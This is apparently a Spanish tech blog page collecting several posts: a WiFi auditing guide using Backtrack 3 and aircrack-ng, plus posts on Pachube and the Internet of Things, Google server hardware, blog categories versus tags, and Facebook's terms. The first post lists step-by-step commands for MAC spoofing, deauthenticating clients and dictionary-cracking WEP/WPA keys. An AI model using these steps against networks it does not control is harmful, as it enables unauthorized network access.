Backtrack es una de las muchas distribuciones basadas en Linux, para lo que se conoce como auditorias, en las que básicamente se pueden obtener las claves de las redes Wifi con cifrados como WEP, WPA y otros. El más fácil de conseguir es el primero (lo digo por experiencia propia) aunque el segundo (y otros) también son factibles a la hora del crackeo.

Tenéis toda la información sobre esta distribución en Remote-Exploit. Ahora mismo la versión estable que hay es la #3 aunque ya hay otra beta de la #4. Para hacer más fácil el uso de ésta herramienta podéis descargarlo/instalarlo en un simple pincho (Pendrive) de la siguiente forma:

Necesitaremos el Backtrack 3 versión USB: que descargaremos desde aquí.
Descomprimimos el archivo y obtenemos dos carpetas que debemos meter en la raíz del pendrive (usb flash memory). Por ejemplo e:
En Windows vamos al menu de inicio > ejecutar > cmd
Se nos abre una “terminal” de Dos en la que tendremos que navegar hasta el pendrive, en este caso tecleamos e: y pulsamos Enter.
Tecleamos: cd boot para entrar en la carpeta boot que metimos antes en e: (el pendrive). Enter. Ahora ejecutamos el archivo bootinst.bat (escribe eso y dale al Enter).
Seguimos las instrucciones y ya deberíamos tener un pendrive “bootable” con el que podremos iniciar el sistema operativo Backtrack 3 antes de arrancar Windows.

Aunque también puedes lanzarlo desde un cd-live que grabes, a mi me parece más cómoda la opción del pendrive y más fácil de llevar.

Y para la obtención de la clave, pues podemos fijarnos en uno de los cientos y cientos de vídeos que hay por la red. Pero mejor hacerlo en uno, que sabemos que está bien explicado y que funciona, por ejemplo este:

Los pasos que sigue son estos:

1. airmon-ng stop wlan0
2. ifconfig wlan0 down
3. macchanger –mac 00:11:22:33:44:55 wlan0
4. airmon-ng start wlan0
5. airodump-ng wlan0
6. airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0
7. aireplay-ng -0 5 -a (bssid)wlan0
8. aircrack-ng (filename-01.cap)-w (dictionary location)

Por favor, ten en cuenta que toda la información de este artículo es únicamente didáctica. No la utilices para dañar o molestar a alguien, utilízala con ética y bajo tu responsabilidad.

Pachube, con este nombre seguro que nadie pensaría todo lo que se esconde detrás de este curioso y futurista portal.
Pachube es (según mi propia definición):

” Una red de sensores (generalmente se utiliza la tecnología RFID) de todo tipo (humedad, temperatura,…) repartidos por todo el mundo (geolocalizados en un mapa) y en miles de objetos distintos (los chips son tan pequeños que se pueden integrar en cualquier sitio (incluso en humanos) Y pensando en el Internet of Things, puede haber chips hasta en el cepillo de dientes, o en unas llaves. “

Con esta explicación espero haber aclarado muchas cosas, de todas formas este es un concepto de lo más moderno tecnológicamente, que existe ahora mismo.

En Pachube se pueden monitorizar ambientes, grabar la información de sensores y compartirla en tiempo real. Conectar dispotitivos, casas!, medidores de energía, en definitiva conectar el mundo. Pachube es un portal inmenso lleno de utilidades, como geolocalizar dichos sensores, taggearlos (etiquetarlos) compartir estadísticas, utilizar su API para desarrollar tus propios proyectos, compartir sensores con otros usuarios y un largo etc.
Digamos que son ideas futuristas, pero que ya se pueden llevar a cavo y por tanto, empiezan a implantarse poco a poco en la sociedad gracias a portales como éste.

De qué ideas hablas?

Me refiero al “Internet of Things“, en español, el “Internet de las cosas“. Pues ya hace tiempo que rondan ideas a locos de las nuevas tecnologías (como yo) de comunicar entre sí a “todas las cosas”. Y no puedo utilizar una palabra más técnica que cosas, porque con ella me refiero como decía arriba a comunicar unas llaves, un sofá, una alfombra, una mesa, un cepillo de dientes… podría parecer una locura en un principio, pero si pensamos en las utilidades las cosas cambian.
Imaginemos por ejemplo que un sofá está comunicado con nuestro móvil, es invierno y vamos a llegar a casa helados de frío con una persona mayor. El sofá podría indicarnos a la temperatura a la que está y nosotros podríamos encender la caldera, o encender la función que tiene el sofá para calentarse el solito. Son ideas como digo, poco imaginables, pero que poco a poco se pueden hacer realidad.
Espero sacar tiempo para escribiros más sobre todo esto del Internet de las Cosas, de momento os dejo con Pachube.

Enlace | Pachube

Desde hace unos días se están destapando algunos de los secretos mejor guardados de Google, su pilar fundamental: los servers servidores y los datacenters centros de datos. Así que vamos a dar una vuelta por el mundo-Google para ver las curiosas e ingeniosas ideas de diseño y cómo tienen “organizada la información mundial” de Internet.

Servidores

Hace poco nos enseñaban una imagen de lo que podría constituir un servidor de los utilizados por Google, que sería el que veis en la imagen:

En la imagen podemos ver los discos duros en la parte superior, cogidos a la carcasa metálica con velcro, para facilitar el cambio de éstos, (ingeniosa idea). En la izquierda vemos la fuente de alimentación, que probablemente está fuera de la carcasa para evitar generar calor dentro de ésta. Igualmente está sujeta con unas tiras de velcro. Se habla de que se podría estar usando únicamente alimentaciones de 12v, evitando las de 5v, así se reducen costes en la fabricación de los transformadores y la placa base es la encargada de obtener la tensiones apropiadas.

A la derecha de la imagen podemos una pequeña batería de “backup” que también daría tensiones de 12v (más tarde hablaremos de esta curiosa batería de backup). En el centro, como no veríamos todo el núcleo, dos procesadores x86 de AMD e Intel y una placa base fabricada por Gigabyte. También observamos los slots llenos de memorias RAM.

Este bloque que he descrito, constituiría un servidor. Por dar una explicación para la gente que no esté muy familiarizada con servidores, podríamos decir que estos bloques, lógicamente, son totalmente reemplazables en los centros de datos, tanto pieza a pieza (gracias al invento del velcro) como por completo. Son como pequeñas cajas metidas en armarios que se pueden sacar muy fácilmente con un par de pestañas laterales. (En el vídeo veréis como remplazan uno)

Este post tiene varias páginas: 1 2

¿Eres Blogger o lees blogs? Me gustaría que nos contaras tu opinión. Puede ser muy interesante y seguro que tardas < 1min.

La pregunta lleva tiempo dando vueltas por mi cabeza y de un modo u otro por la red. Y quería ponerla en común esperando vuestra participación. Al tema, cuando empiezas a utilizar Wordpress u otros sistemas de publicación de blogs, creo que todo el mundo, se hace la pregunta que intenta resolver las diferencias entre categorías y etiquetas.

Hay un concepto que creo que es muy interesante, y es de tener en cuenta: las categorías por norma general suelen ser mucho más restrictivas, y en la creación de una nueva categoría siempre se tiene en cuenta que dicha palabra englobará a muchos conceptos, por lo que dicha creación ha de ser muy bien pensada. Sin embargo, las etiquetas tienen una libertad innata, si el blogger tiene a bien incluir una etiqueta nueva, no se lo piensa dos veces, y crea cuantas etiquetas hagan falta. Cada etiqueta sirve para englobar pocos conceptos.

Me he topado con un listado de frases (de Vicente Navarro) con muchísimo valor, referidas a las categorías (vs. etiquetas) a tener en cuenta:

• Las categorías se pueden usar como etiquetas pero las etiquetas como categorías, no.
• En una comparación con un supermercado, las categorías son como los grandes carteles que indican las secciones (droguería, charcutería, congelados, limpieza, etc.) y las etiquetas son como la propia etiqueta de cada producto que nos lo describe.
• Las categorías organizan jerárquicamente, las etiquetas, no.
• Las etiquetas proporcionan meta-información (información sobre la información), las categorías, no.
• Las categorías pueden tener nombres largos. Las etiquetas tienen que tenerlos cortos, de una, dos o, a lo sumo, tres palabras.
• Las entradas estarán normalmente en pocas categorías, pero puede tener muchas, muchas, etiquetas.
• Las categorías ayudan a los visitantes a buscar información relacionada en la página. Las etiquetas ayudan a los visitantes a buscar información relacionada en tu página y fuera de tu página.
• Las categorías existen antes de que se cree la entrada que se quiere categorizar, mientras que las etiquetas se crean al crear la entrada: ad hoc.
• Las categorías normalmente tienen una granularidad constante, mientras que las etiquetas pueden ser muy generales, como “Linux”, o muy específicas, como “ext3″.
• Las categorías se planifican, las etiquetas son espontáneas, fruto de un brainstorming momentáneo: Como ver una foto y escribir las palabras que te sugiere en ese momento.
• {…}

Mi opinión personal

Creo que el uso de categorías o etiquetas depende del número de temas que se tratan en dicho blog (o página web). Me explico, si tu blog habla de un tema muy centrado en algo, relacionado con unos temas semejantes:

Pongo por ejemplo, habla sólo de fotografía, yo pondría una categorización con categorías. Las categorías casi hasta se saben antes de empezar a escribirlo, y es porque el tema está centrado sin diversificación de conceptos.

Sin embargo si hablamos de muchos temas o los usuarios pueden “hablar” delos temas que quieran, yo pondría claramente etiquetas, pues los temas son libres, no restrictivos, y pueden surgir muchas palabras para categorizar todos los coceptos.

De todas formas, creo que las categorías tienen mucho más peso sobre las etiquetas. La simplificación siempre es buena, y el acotar una web en pocas palabras es muy útil. De hecho, a la hora de diseñar el nuevo diseño de Soygik, tuve muy presente esto, y las categorías las consideré muy importantes, tanto que están en la cabecera de ésta página y es lo primero que se encuentran los visitantes. Gracias a eso, pueden tener un vistazo rápido de los temas que tratamos en apenas 24 palabras que nos definen.

¿Y tú que opinas?

No podía aguantar a poner este genial dibujo, de lo que yo creo que la mayoría de los usuarios de Facebook han pensado, al leer las nuevas normas:

Creo que define la impotencia que sintió la gente ante las nuevas normas de Facebook, que por poco no se quedaba con tu vida. El caso es que se han echado un poco atrás. Como podemos leer en Inquirer (gracias Kai V y a txarli):

La red social por excelencia, Facebook, ha tenido que dar marcha atrás ante la imposición de sus exigentes términos del servicio: “Darás a Facebook una licencia y sublicencia internacional para usar, copiar, publicar, hacer stream, almacenar, retener, mostrar públicamente, transmitir, escanear, cambiar el formato, modificar, editar, encuadrar, traducir, extraer, adaptar, crear trabajos derivados y distribuirlo”.

Y también en el blog de Facebook, donde Mark Zuckerberg asegura que la gente tendrá el control de su información. Personalmente creo que el cambio que han hecho, no conlleva mucha seguridad sobre quién tiene el control de tus datos (fots, vídeos, texto) dentro de dicha red social, así que de momento creo que hay que seguir con precaución a la hora de manejarse dentro de ésta.

“Los bloggers nos hemos convertido en expertos buscadores de información: entre la ensalada de datos que nos ofrecen los medios, elegimos selectivamente como niños melindrosos que es lo más interesante para los que nos leen; aunque eso mismo implica que generamos aún más datos.”

Inspirada en | David Frywell